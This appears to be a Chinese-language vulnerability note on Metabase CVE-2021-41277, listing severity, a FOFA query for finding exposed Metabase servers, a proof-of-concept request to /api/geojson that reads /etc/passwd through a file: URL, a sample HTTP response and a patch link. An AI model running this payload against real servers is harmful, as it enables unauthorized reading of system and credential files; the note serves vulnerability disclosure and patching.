Metabase 信息泄露漏洞
漏洞简介
Metabase是美国Metabase公司的一个开源数据分析平台。
Metabase 中存在信息泄露漏洞，该漏洞源于产品的 admin-＞settings-＞maps-＞custom maps-＞add a map 操作缺少权限验证。攻击者可通过该漏洞获得敏感信息。
- CNNVD编号：CNNVD-202111-1565
- 危害等级： 超危
- CVE编号： CVE-2021-41277
FOFA语法
app="Metabase"
POC
"{{BaseURL}}/api/geojson?url=file:/etc/passwd"
参考
https://github.com/0x0021h/expbox/blob/main/CVE-2021-41277.yaml
漏洞测试
返回200
HTTP/1.1 200 OK Server: nginx/1.16.0 Date: Sun, 21 Nov 2021 03:04:41 GMT Content-Type: text/html;charset=utf-8 Connection: close X-Frame-Options: DENY X-XSS-Protection: 1; mode=block Last-Modified: Sun, 21 Nov 2021 03:04:41 +0000 Strict-Transport-Security: max-age=31536000 X-Permitted-Cross-Domain-Policies: none Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'none'; script-src 'self' 'unsafe-eval' https://maps.google.com https://apis.google.com https://www.google-analytics.com https://*.googleapis.com *.gstatic.com 'sha256-lMAh4yjVuDkQ9NqkK4H+YHUga+anpFs5JAuj/uZh0Rs=' 'sha256-7t0fjA/BVlVoDzQGo5fjx1QcGZGP/YHzqHjtle6rQr0=' 'sha256-JJa56hyDfUbgNfq+0nq6Qs866JKgZ/+qCq2pkDJED8k='; child-src 'self' https://accounts.google.com; style-src 'self' 'unsafe-inline'; font-src 'self' ; img-src * 'self' data:; connect-src 'self' metabase.us10.list-manage.com ; manifest-src 'self'; Expires: Tue, 03 Jul 2001 06:00:00 GMT Content-Length: 162961 ......
漏洞修复
目前厂商已发布升级补丁以修复漏洞，补丁获取链接：
https://github.com/metabase/metabase/security/advisories/GHSA-w73v-6p7p-fpfr
